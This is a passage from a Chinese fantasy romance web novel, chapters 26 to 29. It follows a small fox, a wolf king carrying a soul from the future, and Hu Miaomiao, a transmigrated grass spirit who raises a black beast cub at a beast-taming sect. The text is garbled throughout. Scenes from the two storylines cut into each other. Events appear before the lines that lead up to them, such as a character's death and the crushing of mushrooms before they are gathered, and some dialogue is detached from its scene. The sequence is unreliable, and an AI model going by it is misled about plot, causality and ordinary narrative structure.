他眼睁睁看着那只狐狸,一头撞到了狼王的腿上,然后顺着腿往上爬,爬到狼王的肩膀上,嗷呜嗷呜地诉苦,并用爪子擦眼泪。 第 26 章 第 26 章 小狐狸爬上男人的肩膀,一个劲儿哆嗦,激动得话说不出来,一只爪子擦眼泪,一只爪子比比划划指红溯魇,然后被咬的尾巴凑到男人面前,用事实告状。 似乎是因为递尾巴扯到了伤口,她凑过去吹了吹,下意识递到男人嘴边,也想让他帮忙吹吹。 男人浑身的肌肉一僵,俊美的脸上看起来有些凶,狐狸怂了。 就是说,她明明和捉妖师不熟,为什么总是想亲近他? 搞不懂,捉妖师是有前科的,他都抓她好几遍了,怎么不长记性呢。 好一个不听话的猎物! 这是狐狸第一次抓活的猎物,就被猎物顽固不化的态度弄得炸了一圈尾巴毛,气咻咻叼回洞里,等待狗归来。 斗转星移,狐狸趴在树洞口,一只爪子托腮,一只爪子按着猎物,问:“你说,他怎么还不回来?” “知了……” “不,你不知。”狐狸爪子把猎物按得严严实实,双眼冒小火苗,“你除了知了知了还会什么?” 回应她的还是知了知了。 当天晚上,君泽琛啃完丹药,就被拉去练习进入灵兽空间。 和灵器要收入内府一样,和灵兽契约之后,也可以在意识海开辟一个灵兽空间收纳契约兽。 契约帖在签约的一刹那,已经化为一条红线,似有似无牵引着彼此,胡淼淼把小毛球放着对面,按照大师姐的吩咐,神识潜入意识海。 每个修士都有识海,而且识海中也各有不同,她的识海乍一进去,春暖花开,泛着莹莹绿意,左有小桥流水,右有山川叠峦,胡淼淼感觉自己也发生了变化,低头一看,自己浑身一身银绿,泛着点点光辉,再往下,一条红线肆无忌惮地围绕在她四周,像是一个牢笼把她笼罩在下面。 胡淼淼抖了抖叶子,呦呵,在她的识海还敢这么嚣张? 她抽出一片小叶子,啪地拍了它一下。 几乎是在这一瞬间,一种难言之感瞬间蔓延到全身,胡淼淼和君泽琛身躯一颤,五感无限放大,仿佛灵魂都跟着引起了共鸣。 君泽琛:“唧~”你别乱抽。 胡淼淼额头滴汗,“我的错,我不乱动,这就牵引你入灵兽空间。” 她不再闹,开始催动红线,连接君泽琛的识海,很快便感受到红线另一边的神识以及对方的情绪,她试探性地拉了拉,把对方牵引过来。 刚开始还算顺利,然而在即将触碰到对方神识时,一种毛骨悚然的危机感如同海浪,瞬间席卷整个意识海,小草宛若碰到了天敌,敏感地蜷缩起叶子。 恍惚中,好像看见了一个高挑的模糊身影,抬手,轻轻触碰了一下她的神识。 胡淼淼瞬间咬紧下唇,压抑住到嘴的轻.吟,没了她的束缚,连接识海的另一个神识更是肆无忌惮,好似窥探自己领地的野兽到处巡视,刚平静的识海瞬间掀起惊涛骇浪,战.栗感蔓延全身,她终于忍不住,把对方驱逐出去。 神识分开,胡淼淼瘫软在床榻,小毛球好像被踹了一脚,猝不及防滚落在地,凭借身体本能麻溜地滚到床底,缩成一团。 胡淼淼躺在床上,眼底空洞而茫然,是不是哪里弄错了? 不应该啊,大师姐说,就是催动脑海中的契约帖,用神识引导灵兽的神识进入空间。 灵兽的身躯会跟随神识,化为虚幻的,跟着进去。 怎么就不对呢? 再试试? 回想起刚才的酥.麻感,胡淼淼一激灵,生无可恋地趴在床边,对底下那位说,“其实,这灵兽空间,也不是非进不可,对吗?” 床底传来一阵足够胡淼淼能听到的喘.息声,好半晌,君泽琛才回应,“啾…” 对… 不知是不是胡淼淼的错觉,他的嗓音有些沙哑,竟有几分人类的声色。 小狐狸肚子咕咕叫,委屈地耷拉下耳朵,松开了爪子。 “罢了,你家里也有等待你回家的妖吧,回吧。” 猎物是个没有良心的,都没回头看一眼狐,扑腾着大翅膀飞走。 远远的,还能听见它在喊知了。 “不能再等……”狐狸终于忍受不住,出去找狗。 而此时的狼,已经和苏山灵打斗许久,王女是一个很狡猾的妖,她把狐族的特性发挥得淋漓尽致,仗着自己拥有浮生镜根本不和狼正面决斗,而是狡猾地动用时空法则之力不断极限拉扯。 时不时从狼的背后窜过来偷袭。豺再次调动浮生镜的力量消失在狐狸面前,自己去遭受重创,逃回去被狐族捡走。 驱动浮生镜的代价超出想象,无时无刻不在吞噬她的肉身与灵魂。 大祭司知道她没有妖丹,并没有把完整的浮生镜交给她,而是给了她一块碎片,不然苏山灵早就死于浮生镜的反噬下了。 如今,她大伤元气短时间内无法兴风作浪,胡淼淼也很难找到她的位置。 放虎归山,胡淼淼将操控主权还给小狐狸,在意识海里面跺脚,“看我下次不咬死她。” 还以为捡到的狗是好狗呢,没想到是一只别有用心的豺。 幸亏她看见,不然小狐狸还要被蒙在鼓里。 虽然不知道豺有什么目的,但是大狐狸告诫小狐狸,以后乱七八糟的东西不要捡。 吃一堑长一智,小狐狸本身就谨记灰猫教诲,经过此事,更是警惕心暴涨。 以至于,当她外出觅食,看见路边的小黑狗瞅都不瞅一眼,她就像是被什么东西蛰了一下,夹着尾巴就跑。 地上的黑狗:“……?” 他不太确定地偷偷支棱起耳朵听动静。 小狐狸确实跑远了。 他睁开眼睛,疑惑不解,“这对吗?” 灰猫散漫地在意识海舔爪子,“有什么不对吗?” 黑狼:“你不是说我们的伴侣狐美心善,喜欢捡狗吗?” 灰猫:“对。” “那她为什么不捡我?” “你是狗吗?” 可惜任何阴谋诡计在绝对的力量面前都不堪一击,苏山灵是胡淼淼的姐姐,年龄比她大,却比狼王小太多,在狼王眼里她不过也是个小狐狸崽子根本不足为惧。 但因为家里有狐狸在等着,君泽琛打算速战速决,攻势越发狠厉,这一场战斗动静很大,可好巧不巧的狼族攻破了狐族的防线,狐族都在对抗外敌无暇分身。 “你一定要和我过不去?”苏山灵一次次消耗灵魂,精力摇摇欲坠,如果不是青丘大祭司给了她一道护魂的力量根本支撑不到现在。 毕竟在这个时空连君泽琛附体都要被迫沉睡。 君泽琛自认为和苏山灵没什么好说的,强大的妖力再次将她锁定。 苏山灵原本完好的肌肤上被压得沁出血珠,五脏六腑都被震得发疼,她咬牙切齿,“你就那么在乎那只死狐狸?哪怕为了燃烧灵魂的力量和我作对,也要杀我?” 没错,和苏山灵打在一起的是未来的君泽琛。 他打算亲自解决掉她,夺取浮生镜回到未来。 剩下的交给黑狼,让黑狼带小狐狸去人界,他则带着狐猫回到未来,一切回归正轨。 双方的灵魂都在燃烧,苏山灵曾经娇艳的脸色苍白如纸,还在试图劝说他,“别费劲挣扎,纵使你的灵魂再强大,有几百年修为也不可能抵得过浮生镜,它可是神族遗失的神器,你……” 不等苏山灵说完,男人已经闪身到她的面前,强壮的手臂化为狼爪,狠狠贯穿了她的心口,血液喷洒在他面无表情的俊美容颜上,显得更加凶戾,他说:“话太多。” “你……你不能杀我,没有我这个献祭者,时空会陷入乱流……” 几乎在同一时间,苏山灵身上爆发强烈的光,和当初在狼族水牢中的一模一样,蕴含天道之威的力量毫无征兆地爆发,远远看去此方天地被照亮,连战场上的两族都停下来动作,无数狐狸和狼纷纷向狐族的方向看去,不知发生了什么 她将剩下的菌子捏了个粉碎,“这就是你的下场。” 菌子是小狐狸辛苦一早上采回来的,她都没舍得吃,原本还等着狗回来生火的,这一次,她等不到他了。 这一刻,狐狸终于体会到什么叫做愤怒。 她一双漂亮的眼睛里氤氲着水雾,却炸着毛,飞快扑过去,学着未来的自己,死死咬住那只狐狸的脖颈。 “啊,你找死!” 双方实力悬殊,小狐狸被她一把甩出去,撞在了树上。 两只狐狸逐渐逼近,“我看你是不想活了。” 砰——的一声,狐狸下意识闭上了眼睛。 胡淼淼没好气道:“要说就说,不说算了。” “别啊!”见胡淼淼要回去,红狼赶紧用嘴叼住她的裙摆。 “是这样的,我老大最近被一只小狐狸精给迷了眼,他已经不是以前的他了,所以啊,你快想想办法 ,重新获得我老大的芳心,别让他误入歧途啊。” 胡淼淼:“???” 她怀疑地揉了揉耳朵,美眸微眯:“你说什么?再说一遍?” 红狼恨铁不成钢:“是不是听不懂?就是我老大,他有外遇了,他不要你了,他被狐狸精勾引走了!” 胡淼淼:“哈?” 第 27 章 第 27 章 近日,发生了一件奇怪的事情。 那就是每次小狐狸来上药,都把眼睛瞪得圆溜溜,用一种复杂的眼光看君泽琛。 君泽琛起初没觉得有问题,毕竟小狐狸的脑子想一出是一出,她能想到什么都不奇怪。 可是,小狐狸每次都用完就丢,比如现在,刚给她上完药,没摸两把尾巴,对方就biu地一下撤了回去,蓝汪汪的眼睛里全是警惕,似乎尾巴撤慢了,他就会对她耍流氓。 君泽琛伫立在虚空,如墨的长发在背后披散开来,他瞳孔幽暗,竟不躲不避任由迎面的强烈的光线淹没他的身躯,直击他的灵魂。 强光消失之后,黑狼意识海中的灰猫灵魂抽离,而未来的苏山灵灵魂太过脆弱被强行抹去,恐怖的领域撤去,两个短暂失去灵魂支撑的身躯从半空中坠落。 王女身体倒在血泊之中杳无声息,残留意识的黑狼撑着身子,他环顾四周,眼底闪过一抹疑虑,在狐族人发现之前快速离开。 而在他离开不久,空气中传来波动,先是出现一只脚,她身披拖地长袍,身上藏得严严实实,只露出一双苍老的眼眸悲天悯人,“还不是时候。” 她手一挥,原本没有生息的人胸膛起伏一瞬。 听闻人界在秋季都会采菌子,菌子很漂亮,是一个有伞伞有杆杆的。小狐狸特意溜达一圈,还真被她采到了,她兴高采烈捧着菌子回家。狗不在,她没在意,围着漂亮的菌子转。 把菌子按照颜色摆开,赤橙红绿…… 可惜苏山灵藏得太好,他唯一打探到的消息就是狐族曾经有一只豺妖很古怪,但在几个月前已经死了。 对苏山灵的消息彻底断了。胡淼淼勾了勾唇角,侧头对他说,“大师姐教了一些御兽的基本常识,就差实践了,去秘境可能遇见危险,我可以把你收入灵兽空间,需要的时候再召唤出来,不如今晚试试?” “嗯咕~”君泽琛点头,没有意见。 “真乖。”刚捡到小毛球那会儿,小崽子就像是一直伤痕累累的小刺猬,逮谁扎谁,动不动就用小白牙咬她,还不给摸。 不知从何时起,他竟然听她的话,让她抱,给她摸。 胡淼淼感慨,养熟了,下次一定哄他亲亲。 君泽琛身体一僵,悄无声息往肩膀外侧挪了挪,头埋在爪爪里,毛绒绒的耳朵尖隐隐泛红,暗自嘀咕着男女、人/兽授受不亲。 狼回来,正好是狐狸打猎回来之时,狐发现他,疑惑道:“你做什么去了?” 君泽琛道:“我担心你,就出去看看。” “哦,你不用担心,最近没有狐狸欺负我。” “嗯。”免得又把她惹哭。 他们会提前相遇,提前爱护她。 融合太久会消耗灵魂,还会消耗来自未来的记忆,君泽琛等待不了太久,他在身体里简单和黑狼交代两句,黑狼在体内沉默许久,问他,“我的狐狸,还会和我在一起吗 ?” 这一次,他终于知道她的真实身份。 灰猫答:“会。” 他们会一直在一起,永永远远。 “好。” 不只有狐猫和自己悄悄许下约定,互看不顺眼的狼,也在身体里作出重要的决定。 狐族和狼族矛盾已久,只是因为狼王曾经懒得搭理他们,才让他们存活到现在,如果让他知道未来的爱人会被狐族欺负,他早就上去灭了。 而狼族们本身就是好战的性格,君泽琛没成为狼王之前,狼族到处侵略,自从君泽琛出现之后,把他们拴在狼族,他们怨言颇深,不然怎么会每天都想篡位。 狼王突然想开了,每一只狼都很兴奋,他们磨刀霍霍,雄赳赳气昂昂地冲往狐族。 狐族不善战,却充满心机,想要拿下不是一天两天的事,在攻打狐族的长久战中,胡淼淼很可能在狐族发生变故。 灰猫不放心,但他一时半会脱离不出黑狼的身体…… 隐藏在狼的两个灵魂彼此互看一眼,做出一个决定。 红狼被叫到狼王面前。 他嬉皮笑脸试图掩盖自己的野性。 被君泽琛当场戳穿,“别掩饰,这些年你跟在我身边屈才了,你想当狼王。” 红溯魇:“……” 他默默摸了摸脖子,只觉得上面凉飕飕的。 “我要做一件很危险的事情,如果死了,你会有机会当狼王,在这之前,你要好好带领狼族,知道吗?” 狼王,竟然把这个机会交给他吗 ? 红狼受宠若惊,“王!您就不怕您活着回来,属下已经篡位了吗?” 狼王不语,给了他一个意味深长的眼神,眸光似有似无扫过他的脑袋。 红狼:“……?” 胡淼淼抓不着头绪,对上那双眼睛竟然有些心虚,她轻咳一声:“可能是一个渣男。” 她和慕言辞不熟,所以根据原著给了小毛球一个答案。 她当初看文一目十行,不过基本信息还是知道的。 原著里是这样的,慕言辞父母被妖族所杀,身负血海深仇。 而后被青泽宗宗主所救,一点点爬上如今的地位,但凡是个男主,都妥妥的龙傲天逆袭故事。 只不过这个男的逐渐迷失,妄想通过其他手段一步升天,所以把目光对准了宗主之女,云书谣。 这一切都和胡淼淼无关,关键是原著里,慕言辞竟然连草都不放过,一边对那棵傻草甜言蜜语,一边用傻草的血讨好白月光师妹。 最后既用无垠草续命,又要靠着云书谣得到宗主之位,他恨所有妖族,也恨是妖族的男主,以一己之私调动宗门对男主以及妖族一顿输出。 结局被男主按照地上摩擦,胡淼淼轻啧一声,给毛团子顺毛。 毛团子今天的话有点多,又问她何为渣男? 那一瞬间,胡淼淼脑子里闪过N多关于渣男的见解,什么负心汉、玩弄感情、大男子主义满嘴谎言,吃着碗里的看着锅里的,靠女人上位,感情骗子没有心。 当然,这些乱七八糟的话不可能对可爱的幼崽解释,她巧妙地掏出丹药,塞他怀里,“你还小这些不是你应该懂的,等你长大了就懂了,先吃药,然后看看身体有没有哪里不舒服一定要跟我说。” 君泽琛垂下眸子,没再多言。 抱着丹药啃,只不过脑子里却开始梳理刚刚知道的信息。 他十分确定,青泽宗那个男弟子找的人就是胡淼淼。 而胡淼淼又说那人是渣男。 通过心声,他知道,渣男等于玩弄感情的负心汉,她躲着那人…… 君泽琛尖锐的牙齿镶嵌入丹药中,生生撕下一大块,吓了胡淼淼一跳,她指尖一动,桌上茶壶浮空而起茶水倒入茶盏飞入她手中,她赶紧递到他嘴边,“快喝水别噎到。” 随即她发现,吃个丹药,小崽子牙齿咬得咯吱咯吱作响。 总感觉有哪里不对,但是又说不上来,在强烈的野心支配下,他担下这个担子。 “倒是最近死了不少狐狸,而且都是在附近,你说我们要不要搬家呀?” 狐狸一边叼着果子,一边和他说。 “不用,你那么厉害,我们不会有事的。”狼随口一说,啃一口果子,被酸得差点丧失表情管理,偏偏对面的小狐狸吃得津津有味。 他不信邪,一顿乱嚼,咕嘟嘟伸长脖子吞进去。 小狐狸被吓一跳,“你慢点吃,看把你饿的,今天摘的果子比较多,你别急,都给你,我吃一个就够了。” 小狐狸将剩下的果子都推给狼,狼隐藏在皮毛下的脸满是菜色。 “你有没有考虑,离开狐族?” 这日子狼是一天都不想过。 有大宫殿住,还有专业的狼族厨子,狼是脑抽了才会在这里上演贫苦戏码。 对面的小狐狸明显愣住,“去哪呀?” “就是,去……”狼族。 灰猫在意识海冷不丁开口:“你想吓死她吗?” 她低头嗅了嗅,疑惑地眨了眨眼,好像不香呀,难不成要烤着吃? 水狐是生不出火的,她乖乖在家里等狗回来。 她知道狗常常出去办事情,但每天都在准时准点回来,然而今天没有等来狗,反而等来两只狐狸大摇大摆地走过来。 “我说呢,怎么好几日没见到你呢,还以为是被山中的野狼吃了,没想到贱命一条,挺能活啊。” “哎呦?这是什么?你不会又偷吃谁家果子了吧?” 来者是多年前狐狸捡骨头遇见的那只狐狸,当时就是他把狐狸带走,再被一群狐狸撕咬,断了腿和撕裂耳朵,在那之后胡淼淼才遇见了灰猫。 欢快的时间久了,导致狐狸快忘却那桩往事,可是有些伤疤一旦掀开还是能记得当初的疼痛。 小狐狸被吓成飞机耳,对那两只狐狸哈气。 沉睡许久的大狐狸隐隐有醒来的迹象。 疼…… 那被压在意识海的原始灵魂苏醒,王女睁开了眼睛,眼底闪过一抹茫然,之前……发生了什么? 树影笼罩在他的脸上,让他整个人看起来都有些阴翳,他盯着胡淼淼离开的方向,眼底泛着苍绿色,犹如一只匍匐在丛林间、即将扑过去撕咬猎物的野兽,凶光毕露。 鸡大妖和山鬼躲在角落里瑟瑟发抖。 他们是想帮胡淼淼的,可是这个人类太可怕了,他们为了活命,只能按照他的吩咐帮忙传话。 良久,君泽琛的表情终于恢复平静,淡定地下山,去买炒栗子。 还不是时候。 他得改变策略了。 第 28 章 第 28 章 得罪狐狸的下场就是踢到毛绒绒了,她会换个地方炸毛。 外面有阴险狡诈卑鄙无耻的人类,胡淼淼把握不住,整日可怜巴巴地抱着结痂的尾巴在狐狸洞里躲着。 怀疑的种子一旦种在心里,就会生根发芽。 她怀疑君泽琛已经知道她的身份了,只不过没有证据。 那么他这么做是为了什么呢? 胡淼淼在狐狸洞里走来走去,在床上滚来滚去,总之度日如年,委屈巴巴啃干了的果子。 胡淼淼直接无视系统,手里拿着路上买来的地图,看见远处的山脉,不算高耸,却绿荫蔽日,溪水从山间潺潺落下空气中夹杂着淡淡木香,清新自然,令人心旷神怡! 她打听了很久,这座山偏僻,有一个小宗门,门内的人不争不抢,适合她这种咸鱼。迎胡淼淼进御兽宗的少女叫做王岚。 她一边介绍御兽宗的往事,一边虚瞄胡淼淼怀中的小东西,好奇道:“你怀里的是什么兽,我怎么没见到过?” “这个啊~”胡淼淼神秘一笑:“你当然不知道,只有我知道。” 黑毛球小小的,还不够巴掌大,圆得不像话,毛发乌黑蓬松,晚上丢到路上打灯笼都难找。 要说其他颜色,大概只有粉白色的肉垫和眼底深处几不可查得暗红。 听到别人讨论自己,处于戒备状态的小兽偷偷竖起耳朵。御兽宗内门外门总共不过百人。和其他大宗一年收一次弟子不同,御兽宗几乎每个月都要招弟子。 可惜修真界所有人都慕强,挤破脑袋也要去大宗门闯荡,寻求飞升之道。 嫌少有像胡淼淼这样“无欲无求”的。 所以,御兽宗众人得知有人想拜入宗门,激动还来不及,根本就没有什么入门测试,直接放行!晚一秒都是对大冤种的不尊重。 胡淼淼来时天色已晚,王岚给她安排了一间房间,“外门不用做什么事,只要轮流帮忙照顾无主灵兽就行,而内门则是和灵兽契约的弟子,你既然已经有灵兽了,我会向宗主禀报此事。” 这也就意味着,想要去内门,就要放弃外门的其他毛绒绒,胡淼淼说,“不急。” 然后提出心中的疑问:“灵兽?那妖呢?” 男主就是妖。由于近日是胡淼淼来御兽宗第一天干活,王岚没有给太多任务,让她自己逛逛,到点给一只碎嘴兔和一只黄色小熊喂一些后山的灵泉水,后山土生土长的植物够它们吃的根本不用胡淼淼自己去割草。 兔子吃草也就算了,一只熊竟然也吃,作为他们食谱上的无垠草沉默片刻,英勇地对两只小宠物下手,假公济私地给小熊用梳子梳毛发。 修真界的灵兽手感要比现代的动物更加好,光滑得让人爱不释手。 不过,太硬了。等众人走后,助药师收敛笑意,若有所思地关上门,开始翻找他这些年存放的书籍,嘴里嘀咕着什么。 胡淼淼的活差不多今天已经做完了,从助药师那里回来,火速回到房间,给小黑球甩了个清洁术,他沾染血液打结儿的毛瞬间恢复油光水滑。 受伤了不能沾水但可以用清洁术,修真界就这点好,弄得再埋汰,也可以清理干净,不至于太狼狈。 她摸了摸毛绒绒,确认没有血迹后,把他小心翼翼放到床上,从怀里掏出药瓶,对小毛球笑了笑,正要说“大球,该吃药了”,结果小东西一离开她,就和屁股着火了似的,嗖地一下钻回了她怀里,并发出“鸟”叫。 “哼啾~” 胡淼淼一头雾水:“你怎么了?” 君泽琛板着脸,羞愧蜷缩成球。 明明说要远离这个人类,结果她放下他的那一刻,剧烈的疼痛感又来了,君泽琛身体不听使唤,诚实地黏上了她。 他竟然一离开她就会疼痛难忍。 还是软的好。 胡淼淼手痒痒,摸完自己负责的那两只,又把目光放到了其他弟子身上。 或许是因为宗门小没有利益冲突,御兽宗的外门弟子都比较佛系,也很好说话,胡淼淼没一会就和他们混熟了,顺便摸了他们负责区域的灵兽。 可惜,还是差点意思,没有她捡的那只好摸。 胡淼淼想摸小毛球,谁知小黑球预判到了,火急火燎窜入不远处的草丛中盯着她,眼神含义十分复杂,时不时看她的手,鼻尖耸动满眼嫌弃,仿佛在说,你手上有其他毛绒绒味,莫挨我。 胡淼淼顿悟,赶紧去洗了手给自己补补水,然后冲他挥手:“来,抱一个。” 君泽琛扭头就跑。胡淼淼见小东西终于黏人欣喜若狂恨不得上去么么两口。 可惜,小黑毛球好不容易这般乖巧,她不想激怒他,小心翼翼地哄着:“好好,不放你下去,我就看看,不摸。” 嘴上说得有多平静,内心就有多兴奋。 胡淼淼完全不懂这个世界的规则,更不知道御兽宗里比试的根本不是修为,而是和兽兽的互动。 王岚道:“外门晋级比试一共有三轮,一是找到彼此的配合对象,二是配合彼此完成任务、三是通过天道的考验完成平等契约。” 第一关,需要众人前往后山中的一个早已经准备好的迷宫区域,弟子和灵兽们要在三个时辰内找到对方,才算完成任务进入下一个关卡。 【遇你】 第二关则是互动环节,看人类和灵兽之间的配合默契,懂得对方心意才算通关。 御兽宗虽然人少,但还是有底线的,并不是随随便便的什么人都能进入内门。 难就难在最后一关。 在这个世界,任何契约都会被天道接收,经过天道的考验方可结契。 要说在数千年前人才辈出,这点不算什么,大多数人都能与灵兽结契。 而如今灵力稀薄,天道也越来越难以沟通。 御兽宗落得这种境界,除了人妖的间隙,还有契约困难的原因。 往年哪怕第二关胜出的弟子,也都没能引起天道的共鸣。 不过,王岚却很看好胡淼淼:“你就不一样,我相信你一定会成功的。” 胡淼淼讪笑:“看我骨骼惊奇,是修真奇才的料儿?你看错了,其实我……” 路过的树丛中传来沙沙声,数条藤蔓缠上了想要跑的小兽,眨眼间就捆成了一个球,只露出他黑红色的眼睛,和人类女子对视。 胡淼淼无法储存灵力晋级,却可以直接调动空气蕴含着的木属性灵力,必要时能苟命。 她笑眯眯地戳了戳小黑球脑袋瓜,像是一个邪恶的反派:“想去哪啊,像你这样的连我都打不过,还想逃?你跑出去不够人家塞牙缝的。” 胡淼淼知道这个小东西能听懂人话,干脆威逼利诱,“不如以后跟了我,有我一口吃的绝对少不了你一块肉。” 她眨了眨眼睛,刻意让小兽看她真诚且无辜的表情。 君泽琛不信,总觉得这女人要吃他的肉。 她竟然能控制植物,那在这个林子里,他岂不是插翅难飞? 他气得胸腔起伏,竟然真当着胡淼淼的面,喷了一口火,直接烧了缠绕在他身上的藤蔓,有几团火星子冲胡淼淼而去。 胡淼淼惊:“……嗯?” 这么多年,就是因为他长得四不像妖族排斥他。 连小兽自己都不知道他是什么品种。 这个人类女人怎会知道? 不知不觉,小毛球紧绷的背脊松了一瞬,心里升起一种期许希冀。妖族没有他的种族记载,万一人族知道呢? 和人族不同,身为妖族对种族的依赖很强烈,君泽琛年幼时有个愿望,就是有一天能堂堂正正告诉所有欺负过他的妖族,他不是混种,不是异类…… 藏在毛绒绒下的爪子,悄然抓紧。 结果他听捧着他的女人开口脆:“情兽啊,长在我心里的梦中情兽。” 君泽琛:“……” 悬着的心终于吊死。 乌漆嘛黑的小兽忘记激怒人类的下场,愤然张嘴嗷呜一口咬住人类莹白的手指。 至于拯救世界什么的,胡淼淼觉得,自己少说两句话这世界就能和平等到男主灭世。 怀揣着摆烂的心思,胡淼淼来到溪边坐下,背靠着参天古树,观察着水流,想变回小草进去扑腾。 正在这时,斑斑树影晃动,上空传来一阵轻微的沙沙声,胡淼淼察觉有异,然而不等她起身,后脑勺一痛,有什么砸在了脑袋上。 他似是掉下来摔蒙了,迷迷糊糊地歪头冲着胡淼淼的方向哼唧了一声。 阳光下,卷耳抖了抖,隐约能看见里面淡淡的粉色肉肉,背脊炸起来的毛毛蒲公英那般在她掌心中绽放…… 胡淼淼:“!!!” 她宛若受到百万点暴击瞪大了美眸,激动的心颤抖的手,她一手托着小登西,一手捂住心脏。 好萌!好爱! 狐狸没被骂,还被夸的这么好,什么圆嘟嘟,毛绒绒,好看,竟然会在别人口中、用不带任何狎昵色彩地说出来。 她那些疑虑瞬间抛之脑后,连腿脚都不疼了,甚至有些飘飘然。 她吸了吸鼻子,“那小狐狸真有那么好吗?” 君泽琛:“嗯,挺招人稀罕,我这种不喜欢狐狸的人瞅着都觉得合眼缘。” 原来他没骗狐,狐确实合他眼缘。 第 29 章 第 29 章 山洞里就两个人,胡淼淼原本警惕的心里被男人三言两语给消磨掉,她心里还想着,君泽琛虽然看起来凶了一点点,但人还是挺有爱心的,知道爱护小狐狸。 君泽琛还把给小狐狸买的炒栗子分了她一半,“我最近发现炒栗子挺好吃,想来你憋在山里,没吃过。” 胡淼淼经常吃的,只不过这两天躲避君泽琛,没出去和他见面,也没蹭到吃的,他一掏出来栗子立马馋了。 不过,狐狸矜持地摇头:“给小狐狸的,我吃什么呀!” 君泽琛深深看了她一眼:“今天是新口味,糖炒的,我还不知道小狐狸爱不爱吃,你先试试口味。” 糖炒的? 胡淼淼立即撤回了上一句话,捧着他给的糖炒栗子。 胡淼淼和他们道别,顺着荧光绿闪过的方向寻找,一路上,发现周遭的树杈上似被什么灼烧过,她凑近一看,焦黑的地方,有几道小小的抓痕,好像小猫崽子挠的。 她危险地眯起眼睛。 却说另一边,君泽琛宛若炸毛的小炮弹发射出去,他不知自己怎么了,胸腔中好像有烈火在燃烧,又好似有坠了一颗巨石,压得他喘不过来气。 他虽然不是人,但妖也是有心的,经过一段时间的相处,胡淼淼并没有伤害他的意思。反而因为她体质特殊救了他一命。 他自认为不是白眼狼,不该继续用恶意去揣测对他好的人。 可就是太好了,让他很慌乱。 他的整个兽生都是阴暗的,突然感受到一丝善意,让他忍不住靠近又怕失去。 就像现在,君泽琛突然发现一个问题,那个人类女子对每一只灵兽都很好,他只不过是其中之一。 思及此处,君泽琛难受得厉害。 骗子,说什么进来就找他,就知道骗兽。手下的小毛团子僵硬在原地,在妖族他一直都是被歧视的那个,从未有人对他说不许种族歧视,他心里复杂,迟疑地问:“啾?”真是那么回事儿? 胡淼淼好笑:“不然呢?” 毛绒绒把爪子踹回身下,晃了晃尾巴,“哼唧~” 开屏不单独找没人的地方开,对着两个异性开屏,不检点。 胡淼淼:“……”臭东西,就嘴硬,死倔。 她无言半晌,叹口气,“行行行,就你检点,今天有没有受伤?以后再碰见这种事情不要硬碰硬知道吗?打不过就跑还用我教你?” 胡淼淼难得正经起来,这回轮到君泽琛无言以对了。 他发现,眼前的这个人类确实是不同的。 没有人天生喜欢撞得头痛血流,小时候被其他幼崽欺负时,他喊过,可其他妖和他非亲非故,又都厌恶他,根本不会帮忙,路过时还会把他一脚踢走,免得挡了他们的路。 他知道,没有妖会听他诉说委屈,这个世界本身就弱肉强食,哪怕明知打不过也要去争一线生机。 其实今日的那个坏人他并非打不过,只是当时感受到了熟悉的气息,知道她来了才会撞上去。 这算不算是一种欺骗呢? 君泽琛垂下脑袋。 思考间,胡淼淼柔软的掌心已经从毛团子头顶摸到背脊,然若对待世间珍宝,轻柔小心,怕弄疼了他。 紧接着,她又捏住他小巧的耳朵尖儿提起来大吼,“听没听见?听见吱一声!” 妖族耳朵敏锐,君泽琛耳朵顿时飞机耳,下意识张嘴:“吱!” “真乖!”胡淼淼顿时眉开眼笑,趁着君泽琛不注意,捏住了他的尾巴尖儿。 胡淼淼:“是大了点,至少能看见尾巴了。” 君泽琛像是受到了什么刺激,嗖地一下抽回尾巴,对她炸毛,胡淼淼假装没看见,弹出一道灵力把桌案上的长明灯熄灭,房间内陷入黑暗,她被子一盖,笑嘻嘻道了句晚安,闭眼睛睡觉,徒留君泽琛懵在角落盯着她的背影磨牙。 夜色里,他的眼睛会和猫科动物一样隐约会有一些光亮,配上那身黑色,好像半空中飘起来的小火苗,暗红色,随着他的眨眼而晦暗不明。 妖族和人类不同,哪怕没有光线,也能视物。 他能看见人类女人偷偷勾起的唇角,能看见她睁开一只眼睛偷偷瞄他,对上他的眼睛后又掩耳盗铃般闭上。 君泽琛不知不觉盯了好一会儿,直到听到她浅浅呼吸才收回了视线,气得躲回角落里,十分费劲儿地团成一团挠了挠自己的尾巴,上面仿佛还残留着人类指尖的温度,还酥酥麻麻的,很烦躁,想咬人。 这一晚十分不平静,君泽琛睡梦中突然感觉浑身灼热,血液像是水入油锅沸腾起来,但很快得到缓解。 角落里的小团子不知何时凭借本能,一点点靠近人类的,蜷缩在她肩膀处,嗅着那淡淡的独特清香,再次入眠。 然而梦里不知梦见了什么,他张开嘴愤怒地咬了一口,尖细的牙尖陷入脖颈的软肉,特殊的液体绽放在味蕾,小黑球眉宇间一道火红的印记一闪而过,紧接着身影逐渐拉长,幻化为少年,压在女子身侧。 少年满头乌发浓密披散在背后,身躯颀长,结实有力的手臂化为牢笼把女子抱在怀中,头抵在她的脖颈处,小兽般用鼻尖嗅了嗅,确认是熟悉的味道,低头一点点舔舐肌肤上残留的血,那块小牙印迅速愈合不见丝毫踪迹,他这才迷迷糊糊抱紧了她,额间红色似火印记逐渐暗淡下来。 树影轻颤,细弱的爪尖再次在树枝上留下痕迹,他一路乱窜,差点撞到了人,好在他机敏地停下,想绕路过去。 “什么东西。”王云吓了一跳,定睛一看,竟然是一只灵兽,心思顿时活跃了起来,拦住了黑色灵兽。 往年弟子比试,如果规定时间内没找到自己的兽,抢占别人的灵兽,只要灵兽同意也可以算通过第一关。 他自幼父母双亡,被一个老乞丐收留,老乞丐死后他无路可去,迫不得已来去偷东西,差点被打断了腿,然后被御兽宗外门弟子所救,跟着来到御兽宗打杂混口饭吃。 外门那每月十块灵石,根本不够他挥霍的,尤其是进入修真门派,他资质普通是个杂灵根,只能花钱买丹药推修为,外面还欠了不少债。 想要还清,除非进入内门,每月可以得到五十块下等灵石。 可惜,那些该死的灵兽根本不亲近他,害得他三年都未曾通过晋级比试。 此次亦然,他绑进来的死兔子不知跑哪去了,如果有其他灵兽顶替效果也是一样的。 王云露出和善的笑容:“你主人是不是不要你了?” 君泽琛爪子一顿,停下了步伐,目光不善地仰头望向他。  王岚愣了一下,连忙道:“不,我是看你长得好看,不像普通之人……哎呀说不上来,就是,长得如此晃眼,在外门不现实。” 如果王岚是现代人,一定会说,“你长得这么好看,不会是普通NPC,至少能跟主角混两集!” 没有哪个人不喜欢被夸赞好看,胡淼淼也一样,就算她不想进入内门,在此刻也忍不住心花怒放,如果是原形,那颗绿色小草正在得意地晃了晃叶子。 